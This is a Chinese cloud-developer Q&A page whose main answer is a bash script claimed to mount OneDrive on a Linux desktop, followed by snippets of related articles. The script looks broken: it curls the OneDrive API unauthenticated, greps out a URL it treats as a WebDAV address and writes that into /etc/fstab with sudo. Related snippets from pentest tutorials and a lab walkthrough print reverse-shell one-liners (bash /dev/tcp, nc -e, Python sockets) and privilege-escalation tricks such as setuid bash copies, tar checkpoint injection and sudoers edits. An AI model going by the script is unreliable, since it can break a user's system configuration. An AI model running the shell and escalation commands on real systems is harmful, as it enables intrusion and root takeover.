首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

使用OS上的Bash shell,可以编写一个脚本让我将OneDrive挂载到桌面上吗?

使用OS上的Bash shell,可以编写一个脚本将OneDrive挂载到桌面上。下面是一个示例脚本:

代码语言:txt
复制
#!/bin/bash

# 安装依赖
sudo apt-get install -y curl davfs2

# 创建挂载目录
mkdir ~/OneDrive

# 获取OneDrive的WebDAV地址
onedrive_url=$(curl -s "https://api.onedrive.com/v1.0/drive/root" | grep -o 'https://[^"]*')

# 将OneDrive挂载到桌面
echo "$onedrive_url ~/OneDrive davfs user,rw,noauto 0 0" | sudo tee -a /etc/fstab
sudo mount ~/OneDrive

# 创建桌面快捷方式
echo "[Desktop Entry]
Type=Link
Name=OneDrive
Icon=folder
URL=file:///home/your_username/OneDrive" > ~/Desktop/OneDrive.desktop
chmod +x ~/Desktop/OneDrive.desktop

请注意替换脚本中的your_username为你的用户名。

这个脚本的作用是:

  1. 安装所需的依赖(curl和davfs2)。
  2. 创建一个目录用于挂载OneDrive。
  3. 使用curl命令获取OneDrive的WebDAV地址。
  4. 将OneDrive的WebDAV地址添加到/etc/fstab文件中,以便系统启动时自动挂载。
  5. 手动挂载OneDrive。
  6. 创建一个桌面快捷方式,方便访问OneDrive。

这个脚本适用于Linux系统,如Ubuntu。对于其他操作系统,可能需要进行相应的修改。

推荐的腾讯云相关产品:腾讯云对象存储(COS)。 腾讯云对象存储(COS)是一种高可用、高可靠、强安全的云端存储服务,适用于存储和处理任意类型的文件,包括文档、图片、音视频等。您可以使用腾讯云对象存储(COS)来存储和管理您的OneDrive文件。了解更多信息,请访问腾讯云对象存储(COS)的官方文档:腾讯云对象存储(COS)

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

如何高效在服务器和本地进行上传和下载文件

昨天, 师弟告诉可以在xshell中使用sz进行下载, 想要上传的话用rz就行了. 然后竟然没有听过. 学习最好方法就是写一篇博客, 比如这篇. 1....FileZilla, Winscp到scp FileZilla和Winscp都是窗口化解决方案,scp命令可以在终端种执行, 想要下载到特定文件种,在文件中右键打开git bash,打开cmd ?...如果端口是22, 那么-P 22可以省略 为了不每一次输入dengfei@192....之类代码, 以及输入文件绝对路径, 编写一个perl脚本, 自动定位文件所在绝对路径, 并且加入scp命令..., 这样就可以生成一个命令,可以直接在本地shell中下载服务器内容: #!...3.1 下载 服务器当前目录有一个hello.txt文档, 要下载到本地桌面上, 键入: sz hello.txt 然后弹出保存文件对话框, 默认是桌面, 点击确定即可 ?

3.6K50

为什么年轻一代连操作系统基本知识都不懂?

他们使用 IDE 进行设置并安装 Python 是一个痛苦经历,但他们实际很快掌握了编程,并能及时对热扩散或其他东西进行建模,尽管几乎不知道他们把东西保存在了哪里。...他们不知道刚刚保存到云版本还没有被触发下载到本地机器,因此他们会提交一份不完整文件。作业做得很差,然后向我证明他们正确地完成了作业,最终迫使重新评分。...全球第一款互联网搜索引擎在 1990 年左右开始普及,而 Windows 搜索与 Mac OS Spotlight 等功能也在 2000 年初正式出现。...但问题在于,开发人员在编写并通过命令行运行代码时,必须明确指定要访问文件存放在哪里,程序无法自行搜索这些文件。有些编程语言虽然提供搜索功能,但由于实现难度太大,使用频率很低。...前人一遍又一遍地讲述同样故事,但对于每年大量加入 IT 行业新开发人员来说,这些故事仍是闻所未闻。 知乎上有人编程知识可以分为经验型知识和原理型知识两类。

19520

为什么年轻一代连操作系统基本知识都不懂?

他们使用 IDE 进行设置并安装 Python 是一个痛苦经历,但他们实际很快掌握了编程,并能及时对热扩散或其他东西进行建模,尽管几乎不知道他们把东西保存在了哪里。...他们不知道刚刚保存到云版本还没有被触发下载到本地机器,因此他们会提交一份不完整文件。作业做得很差,然后向我证明他们正确地完成了作业,最终迫使重新评分。...但问题在于,开发人员在编写并通过命令行运行代码时,必须明确指定要访问文件存放在哪里,程序无法自行搜索这些文件。有些编程语言虽然提供搜索功能,但由于实现难度太大,使用频率很低。 旧知识还有价值?...cd(或 chdir)——改变目录 dir -- 列出当前目录中文件 mkdir -- 创建一个目录... 甚至在开始使用 Unix 之前,这些就已经烙进脑子里了。”...前人一遍又一遍地讲述同样故事,但对于每年大量加入 IT 行业新开发人员来说,这些故事仍是闻所未闻。 知乎上有人编程知识可以分为经验型知识和原理型知识两类。

27620

神器:在一个 U 盘上放入多个 Linux 发行版

我们使用旧笔记本电脑,向学生们介绍了 Fedora、Ubuntu 和 Pop!_OS。下课后,给每个学生一份他们喜欢发行版副本,他们带回家安装在自己选择电脑。...Linux 安装是通过命令行进行,所以如果你不熟悉这个过程,可能会有点混乱。然而,其实很容易。 首先,下载 Ventoy。把存档文件下载到桌面上。...xvf ventoy*z 这个命令所有必要文件提取到我桌面上一个名为 ventoy-x.y.z 文件夹中。...你需要确定你 U 盘正确挂载点,以便这个脚本能够正常工作。你可以通过在命令行发出 mount 命令或者使用 GNOME 磁盘 来找到它,后者提供了一个图形界面。...重申:这个 shell 脚本目的是把数据复制到一个驱动器, 破坏该驱动器所有数据。 如果该驱动器上有你关心数据,在尝试这个方法之前,先把它备份!

65020

为什么有人连操作系统基本知识都不懂?

他们使用 IDE 进行设置并安装 Python 是一个痛苦经历,但他们实际很快掌握了编程,并能及时对热扩散或其他东西进行建模,尽管几乎不知道他们把东西保存在了哪里。...他们不知道刚刚保存到云版本还没有被触发下载到本地机器,因此他们会提交一份不完整文件。作业做得很差,然后向我证明他们正确地完成了作业,最终迫使重新评分。...全球第一款互联网搜索引擎在 1990 年左右开始普及,而 Windows 搜索与 Mac OS Spotlight 等功能也在 2000 年初正式出现。...cd(或 chdir)——改变目录 dir -- 列出当前目录中文件 mkdir -- 创建一个目录... 甚至在开始使用 Unix 之前,这些就已经烙进脑子里了。”...前人一遍又一遍地讲述同样故事,但对于每年大量加入 IT 行业新开发人员来说,这些故事仍是闻所未闻。 知乎上有人编程知识可以分为经验型知识和原理型知识两类。

19530

攻防|反弹shell方式汇总

注意有些反弹shell方法或脚本只适用于Linux或者Windows,注意区分相关脚本编写方式方法。...openssl(加密反弹shell) 在计算机网络,OpenSSL 是一个开放源代码软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者身份。...script获取pty 我们可以使用 Linux 系统下 script 命令,在弹回来 shell 下创建一个带有 tty shell, 这样就可以勉强使用一下 top 和 vim $ script.../bin/sh 脚本,出错之后不会继续运行,#!/bin/bash脚本,出错之后会继续运行,在Ubuntu试了一下...#!.../bin/sh脚本不应使用任何POSIX没有规定特性 (如let等命令, 但#!/bin/bash可以)。

30110

用 OneDriver GUI 工具在 Linux 中挂载微软 OneDrive

在 Windows ,微软提供了一个 免费云存储服务 OneDrive。它与 Windows 集成,你可以通过你微软账户获得 5GB 免费存储空间。...这在 Windows 很好用,但和谷歌一样,微软也没有在 Linux 桌面上提供 OneDrive 本地客户端。 当然,你可以通过浏览器访问你 OneDrive 数据。...你可以使用像 Insync 这样高级服务,或者选择用 rclone 在 Linux 使用 OneDrive 这种稍微复杂命令行方式。 最近,发现了另一个工具,它稍有不同,使用起来也更简单。...OneDriver:在你 Linux 系统挂载 OneDrive OneDriver 是一个自由而开源工具,允许你在 Linux 系统挂载 OneDrive 文件。...你在挂载 OneDrive 中打开文件也被下载到系统中。这意味着,你也可以离线访问打开文件。如果你没有连接到互联网,这些文件将成为只读。

3K20

用 OneDriver GUI 工具在 Linux 中挂载微软 OneDrive

在 Windows ,微软提供了一个 免费云存储服务 OneDrive。它与 Windows 集成,你可以通过你微软账户获得 5GB 免费存储空间。...这在 Windows 很好用,但和谷歌一样,微软也没有在 Linux 桌面上提供 OneDrive 本地客户端。 当然,你可以通过浏览器访问你 OneDrive 数据。...你可以使用像 Insync 这样高级服务,或者选择用 rclone 在 Linux 使用 OneDrive 这种稍微复杂命令行方式。 最近,发现了另一个工具,它稍有不同,使用起来也更简单。...你在挂载 OneDrive 中打开文件也被下载到系统中。这意味着,你也可以离线访问打开文件。如果你没有连接到互联网,这些文件将成为只读。...如果你喜欢这个项目,也许可以给它一个 GitHub 星标。

3.2K10

什么是反弹 Shell

如果用反向 Shell,那就是在 A 先开启一个监听端口,然后 B 去连接 A 这个端口,连接成功之后,A 这边就能通过命令控制 B了。 反弹 Shell 有什么用?...如图所示: 这样我们就通过 nc 包实现了反弹 Shell。 有人说,这 B 一定需要安装 nc 这个包?...其实不一定,我们可以直接使用 bash 来实现反弹 Shell,命令如下: bash -i >& /dev/tcp/111.112.113.114/32767 0>&1 这个命令大致解释下: bash...-i 就是产生一个 bash 交互环境 >&可以 bash 交互环境输入、输出、错误输出都输出到一个地方 /dev/tcp/111.112.113.114/32767 其实指就是目标主机一个连接地址...另外除了用 bash,我们还可以利用 Python 进行反弹 Shell脚本如下: python -c 'import socket,subprocess,os; \ s=socket.socket(

86810

一文吃透Linux提权

在许多情况下,升级到Linux系统根目录就像内核漏洞利用程序下载到目标文件系统,编译该漏洞利用程序然后执行它一样简单。 假设我们可以以非特权用户身份运行代码,这就是内核利用通用工作流程。...我们在/ tmp目录中编写一个C文件并进行编译。 rootme可执行文件生成一个shell。...Cron脚本覆盖和符号链接 如果可以修改由root执行cron脚本,则可以非常轻松地获取shell: echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’...让我们创建一个注入标记文件: cd important-directorytouch — —checkpoint=1 2)编写恶意Shell脚本 Shell脚本/etc/sudoers在其后追加代码...现在让我们注入运行我们shell脚本标志: touch — “-e sh shell.sh” 0x009 Linux提权-NFS权限弱 如果您在linu服务器具有低特权shell,并且发现服务器中具有

5.3K42

nodejs写bash脚本终极方案!

◆ 前言 最近在学习bash脚本语法,但是如果对bash语法不是熟手的话,感觉非常容易出错,比如说:显示未定义变量shell中变量没有定义,仍然是可以使用,但是它结果可能不是你所预期。...后来就开始探索,如果用node脚本代替bash该多好啊,经过一天折腾逐渐发现一个神器,Google旗下zx库,先别着急,先不介绍这个库,我们先看看目前主流用node如何编写bash脚本,就知道为啥它是神器了...写bash脚本方案了,如果你们那边node环境不能随便升级,觉得shelljs确实够用了。...很棒,但是在编写脚本时,人们通常会选择更方便编程语言。.../package.json') os await $`cd ${os.homedir()} && mkdir example` 配置: $.shell 指定要用bash. $.shell = '/

3.8K20

k8s pod 中程序为啥服务优雅关闭不生效?收不到 sigterm 信号?

,我们回去编写 Dockerfile ,写我们启动脚本,做成镜像,进而做成 helm 包,推到 helm 仓库中,在环境中我们就可以使用 helm 工具来高效部署咱们服务了,此处就过多赘述了,感兴趣可以查看如下...2 篇历史文章: 如何将自己镜像使用 helm 部署 原来服务端退出姿势也可以这么优雅 实际情况,服务在线上跑了一年多了,最近要做一个需求,涉及到服务被 kill 时候,要到优雅关闭中做一些事情...,例如清空某些过程数据 万万没想到,正是优雅关闭在 k8s 部署时候出了问题,还记当刚才我们说到在 k8s 中部署时候,咱们会写启动脚本?...sh", "start.sh"] 正是因为咱们在容器中是通过 shell 脚本来启动咱们 my_demo_svr 服务,那么实际情况是这样来 bash(xxxpid) --- shell(xxpid...,因此 my_demo_svr 是不会进行优雅关闭 看到这里,实际我们处理思路就是: 如何 shell 收到 sigterm 信号时候,可以传递给他子进程 实际应用了两种方式 在脚本

40020

由 Python 到 Shell

入职半年,进步并不是想象中那么大,虽说在任何地方工作都其实是靠自己努力、对技术钻研,达到熟练、进而开拓其他领域等,还是需要不断“偷懒”, 能使用编程语言实现东西尽量编写脚本完成,而不是被一系列杂乱事影响对工作完成和自己进步...最近做工作都是在频繁重复工作,所以借着这个契机还是入手了下shell 脚本,发现有编程基础,其实这些很容易入手,编写一些简易脚本完成一些重复性工作,既简约了时间又可以保证正确率,手动操作,总是会出现部分错误...例子 是什么 shell scripts 编写 核心语法 使用Linux 开发的话,在终端下敲命令都是通过shell 和 linux 内核进行交互,完成响应这么一个过程,而且shell 有各种各样版本...shell scripts 类似于 python 中编写py脚本下代码集合。.../sh01.sh bash sh01.sh 如何传递参数 ./sh01.sh argone argtwo 如何在脚本使用传入参数 对文件执行传入参数: 比如: .

91730

使用ShareList挂载天翼云网盘

相关介绍 ShareList 原名 GDLIST是一个易用网盘工具,支持快速挂载 GoogleDrive、OneDrive ,可通过插件扩展功能。...不占服务器空间;可多个 Google Drive和 OneDrive同时挂载到网盘;支持直链下载;在线预览(图片、视频、音频) 支持网盘 目前支持:GoogleDrive、OneDrive(含世纪互联...type: basic data: - user1:111111 - user2:aaaaaa basic是内置验证方式,使用用户名密码对进行判断,上面的例子中可使用 user1密码为 111111... 相关问题 第一次出问题就是在这里,无论如何都提示npm和pm2命令无法使用: 首先进入sharelist...,虽然博主不会shell语法,但推测此处很可能是install.sh没能找到Nodejs路径,因此删除这一行,保存即可 等待一分钟左右,在一堆提示代码后,sharelist便成功安装了。

9.1K20

靶机实战 |『VulnHub系列』Bottleneck 1-Walkthrough

小弟虽然英语没过4级,但用语言却TM是英文,包括宿主机Ubuntu……有一点儿装了 ? 针对这个漏洞编写一个Python脚本 #!...脚本好处就是不需要人工一个一个去测试,使用前面的脚本,wordlist如下 /etc/passwd.....这也就是上面列表中为什么一个payload是/etc/passwd。故意先发送一个黑名单请求,系统在/tmp/output里面生成日志,之后再读取。...从结果上来看是执行成功了;随后想反弹shell到kali1234端口,于是输入了 __import__('os').system("nc -e /bin/bash 192.168.0.108 1234...随后在kali重复了反弹shell操作,在Ubuntu监听,结果就可以了。 后记:这里确实是Ubuntunc问题,安全起见,默认不允许使用 -e选项 ? ?

1.2K31

靶机实战 |『VulnHub系列』Bottleneck 1-Walkthrough

小弟虽然英语没过4级,但用语言却TM是英文,包括宿主机Ubuntu……有一点儿装了 ? 针对这个漏洞编写一个Python脚本 #!...脚本好处就是不需要人工一个一个去测试,使用前面的脚本,wordlist如下 /etc/passwd.....这也就是上面列表中为什么一个payload是/etc/passwd。故意先发送一个黑名单请求,系统在/tmp/output里面生成日志,之后再读取。...从结果上来看是执行成功了;随后想反弹shell到kali1234端口,于是输入了 __import__('os').system("nc -e /bin/bash 192.168.0.108 1234...随后在kali重复了反弹shell操作,在Ubuntu监听,结果就可以了。 后记:这里确实是Ubuntunc问题,安全起见,默认不允许使用 -e选项 ? ?

1.8K20

Linux 提权总结

s权限,而nmap 5.20(使用nmap -v查看nmap版本)之前有一个interactive交互模式(nmap –interactive),在nmap effective uid为0时,可以通过这个模式获得...读文件 find /path -exec {} \; 3.vim vim有了suid就可以任意文件读取了 同时也可以输入 :shell 来获取root shell 4.bash bash -p 开启一个新...使用bash 下 echo $SHELL, 可以获取当前环境是否是 rbash. bypass scp bypass 在http://www.const27.com/2020/07/02/vulnhub-dc...同时用户有修改自己环境变量权限, 我们就可以通过劫持system函数里调用脚本文件,使其指向我们环境变量里自行创建一个同名脚本文件,那么这个我们自行创建同名脚本文件就能以root权限运行了,如果这个脚本文件里命令是...我们在获得一台机器root权限后,可以通过nfs在另一台低权限机器实现提权 mkdir /tmp/nfs mount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs 本机上

6K20

舍本求末运维自动化技术热潮

当你激动说到“自动化脚本时候,想问一下,你不会写shell脚本?   搭完某个服务以后,一个有经验有责任心运维,自然会写好系统优化脚本,复制监控监控模版。...我们完全可以shell脚本完成各种模拟运维操作动作,熟练使用shell脚本也是每个运维必修课,我们有必要为了一个噱头去学习python?   ...曾经看到过一个运维自动化教程,作者很认真的教我们,如何用某种自动化工具调用本地shell,用sed命令crontab里ntpdata任务时间给变更了。...也见过某大师写自动化代码,朋友告诉python水平只值6k——连异常都不处理,用半瓶醋水平仔细看了一下他源码真的笑出来了,每隔几行必然能看到一个os.system(“shell命令”)...在低端领域,我们可以很自信说,用shell脚本就是运维自动化;在高端领域,肯定已经搭建好了自动化环境供我们观摩学习和修改;如果你有幸参与到大规模自动化部署,那是确实是一次很有趣挑战;在一个更高层次

67120

nodejs 写 bash 脚本终极方案!

前言 最近在学习bash脚本语法,但是如果对bash语法不是熟手的话,感觉非常容易出错,比如说:显示未定义变量shell中变量没有定义,仍然是可以使用,但是它结果可能不是你所预期。...后来就开始探索,如果用node脚本代替bash该多好啊,经过一天折腾逐渐发现一个神器,Google旗下zx库,先别着急,先不介绍这个库,我们先看看目前主流用node如何编写bash脚本,就知道为啥它是神器了...nodejs写bash脚本方案了,如果你们那边node环境不能随便升级,觉得shelljs确实够用了。...很棒,但是在编写脚本时,人们通常会选择更方便编程语言。.../package.json') 复制代码 os await $`cd ${os.homedir()} && mkdir example` 复制代码 配置: $.shell 指定要用bash. $.

2.5K20
领券